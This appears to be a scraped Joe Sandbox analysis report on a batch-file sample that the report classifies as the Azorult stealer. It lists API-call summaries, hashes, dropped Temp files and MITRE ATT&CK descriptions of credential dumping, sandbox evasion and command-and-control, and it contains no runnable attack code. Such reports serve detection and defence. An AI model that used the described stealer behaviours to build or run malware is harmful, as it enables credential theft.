Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: c24f3397a1a0978606a1aef1272915d0389f866a146333db21e610f4ec5f9f7b
Instruction ID: 9172d05214030136d6eeabac91fa7c92d03713ed8c8260d1a9efe939ba63eb8f
Opcode Fuzzy Hash: c24f3397a1a0978606a1aef1272915d0389f866a146333db21e610f4ec5f9f7b
Instruction Fuzzy Hash: 04019275500308B9DB21AF908D46FAA7BB8D708700F600076BA04F66D0E7B8AA10979C

Function 00406654 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,IsWow64Process,?,?,004066D4,?,00417330,00000000,004175F4,?,Windows : ,?,,?,EXE_PATH : ,?), ref: 00406660
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00406666
GetCurrentProcess.KERNEL32(?,00000000,kernel32.dll,IsWow64Process,?,?,004066D4,?,00417330,00000000,004175F4,?,Windows : ,?,,?), ref: 00406677

Strings

IsWow64Process, xrefs: 00406656
kernel32.dll, xrefs: 0040665B

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: AddressCurrentHandleModuleProcProcess
String ID: IsWow64Process$kernel32.dll
API String ID: 4190356694-3024904723
Opcode ID: bb90ac27b46476fccc6d3856fb06f30bc2750b404d13dc0022771fe07b4660df
Instruction ID: ba80d2391f81007aa42feea1da534082dc1adbf3711fe3d895332dec38dcedd5
Opcode Fuzzy Hash: bb90ac27b46476fccc6d3856fb06f30bc2750b404d13dc0022771fe07b4660df
Instruction Fuzzy Hash: B0E06DB12143019EEB007EB58881A3B21C89B44305F130E3EA496F21C1E97EC8A0866D

Function 00417E78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(dnsapi.dll,DnsQuery_A,00000000,00417F22,?,00000000,00000011,00000000), ref: 00417EB1
GetProcAddress.KERNEL32(00000000,dnsapi.dll), ref: 00417EB7

Strings

dnsapi.dll, xrefs: 00417EAC
DnsQuery_A, xrefs: 00417EA7

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: DnsQuery_A$dnsapi.dll
API String ID: 2574300362-3847274415
Opcode ID: 7cb15cb3270dfea7a69dcce4b2cbc269a71cea9dcfa89aa6ef7ea401378252cb
Instruction ID: ee02e28701cd333fe80aa916ff0e932040e536dc5bff3800914b034e455f76c5
Opcode Fuzzy Hash: 7cb15cb3270dfea7a69dcce4b2cbc269a71cea9dcfa89aa6ef7ea401378252cb
Instruction Fuzzy Hash: A9115E71A08304AED711DBA9CC52B9EBBB8DB45704F5140A7E504E72D2D6789E018B58

Function 00417E7C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 59libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(dnsapi.dll,DnsQuery_A,00000000,00417F22,?,00000000,00000011,00000000), ref: 00417EB1
GetProcAddress.KERNEL32(00000000,dnsapi.dll), ref: 00417EB7

Strings

dnsapi.dll, xrefs: 00417EAC
DnsQuery_A, xrefs: 00417EA7

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: DnsQuery_A$dnsapi.dll
API String ID: 2574300362-3847274415
Opcode ID: 3cfbd1c39c90712b0f6f91fda7395d1ac3d24759ea385032c5fbcfaa3da3176a
Instruction ID: 3ed38bd560de987a20526e09c97c4f2d359d7c1ce2b9a36b0a47fbdadc566110
Opcode Fuzzy Hash: 3cfbd1c39c90712b0f6f91fda7395d1ac3d24759ea385032c5fbcfaa3da3176a
Instruction Fuzzy Hash: 48113D71A08304AEDB11DBA9CD52B9EBBB8DB44714F5140BBF904E73D1D6789E018B58

Function 00416644 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,EnumDisplayDevicesW,00000000,0041670D,?,-00000001,0041B0FC,?,?,00416863,Video Info,?,004169AC,?,GetRAM: ,?), ref: 00416678
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0041667E

Strings

user32.dll, xrefs: 00416673
EnumDisplayDevicesW, xrefs: 0041666E

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: EnumDisplayDevicesW$user32.dll
API String ID: 2574300362-1693391355
Opcode ID: af34b5e80eadff1b2987b13dc2e651b6a133270980b26e7b502f8b40db48fb95
Instruction ID: bffb8a391e8cbf63d1c0eded9315efc20e69fe0ee1e689c0aa8ff6c2638661ea
Opcode Fuzzy Hash: af34b5e80eadff1b2987b13dc2e651b6a133270980b26e7b502f8b40db48fb95
Instruction Fuzzy Hash: 7E118970500618AFDB61EF61CC45BDABBBCEF84709F1140FAE508A6291D6789E848E58

Function 00417E80 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(dnsapi.dll,DnsQuery_A,00000000,00417F22,?,00000000,00000011,00000000), ref: 00417EB1
GetProcAddress.KERNEL32(00000000,dnsapi.dll), ref: 00417EB7

Strings

dnsapi.dll, xrefs: 00417EAC
DnsQuery_A, xrefs: 00417EA7

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: DnsQuery_A$dnsapi.dll
API String ID: 2574300362-3847274415
Opcode ID: 1f81088a46c0324dda660dd481f614bad9869b2585b748a82db9a8fe1a613a36
Instruction ID: 92d1eb556667ed81b8552bf9075b82756b3340621e6324b7cba7be93811987cb
Opcode Fuzzy Hash: 1f81088a46c0324dda660dd481f614bad9869b2585b748a82db9a8fe1a613a36
Instruction Fuzzy Hash: 20111CB1A04304AED751DBAACD42B9FBBF8EB48714F5140B6F904E73C1E678DE418A58

Function 00401870 Relevance: 6.0, APIs: 4, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

RtlInitializeCriticalSection.KERNEL32(0041C5B4,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401886
RtlEnterCriticalSection.KERNEL32(0041C5B4,0041C5B4,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401899
LocalAlloc.KERNEL32(00000000,00000FF8,0041C5B4,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 004018C3
RtlLeaveCriticalSection.KERNEL32(0041C5B4,0040192D,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401920

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: 099da0d79779097dabcbbe4e17eced4135313adf81f8614c79238fcf2f8b4282
Instruction ID: 5328ea8a61f1b3c3886908a4d7eb6976bfaff4b38786c7c23389d9dab3a387f7
Opcode Fuzzy Hash: 099da0d79779097dabcbbe4e17eced4135313adf81f8614c79238fcf2f8b4282
Instruction Fuzzy Hash: 06015BB0684390AEE719AB6A9C967957F92D749704F05C0BFE100BA6F1CB7D5480CB1E

Function 0040246C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(0041C5B4,00000000,^), ref: 004024AF
RtlLeaveCriticalSection.KERNEL32(0041C5B4,00402524), ref: 00402517

Part of subcall function 00401870: RtlInitializeCriticalSection.KERNEL32(0041C5B4,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401886
Part of subcall function 00401870: RtlEnterCriticalSection.KERNEL32(0041C5B4,0041C5B4,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401899
Part of subcall function 00401870: LocalAlloc.KERNEL32(00000000,00000FF8,0041C5B4,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 004018C3
Part of subcall function 00401870: RtlLeaveCriticalSection.KERNEL32(0041C5B4,0040192D,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401920

Strings

^, xrefs: 00402496

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$AllocInitializeLocal
String ID: ^
API String ID: 2227675388-551292248
Opcode ID: 36f5b8f16900d0e995ce4c5524c526641fb23a44d7305ae2e8247758f3247216
Instruction ID: 4ed45a5183fb1a6edd108f9af425bfacc088641811e0c18f6da98f6ec62fa594
Opcode Fuzzy Hash: 36f5b8f16900d0e995ce4c5524c526641fb23a44d7305ae2e8247758f3247216
Instruction Fuzzy Hash: 92113431700210AEEB25AB7A5F49B5A7BD59786358F20407FF404F32D2D6BD9C00825C

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Order-63729_Reference.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Azorult

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-console-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-datetime-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-debug-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-errorhandling-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-file-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-file-l1-2-0.dll

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-file-l2-1-0.dll

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-handle-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-heap-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-interlocked-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-libraryloader-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-localization-l1-2-0.dll

Windows Analysis Report
Order-63729_Reference.bat

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre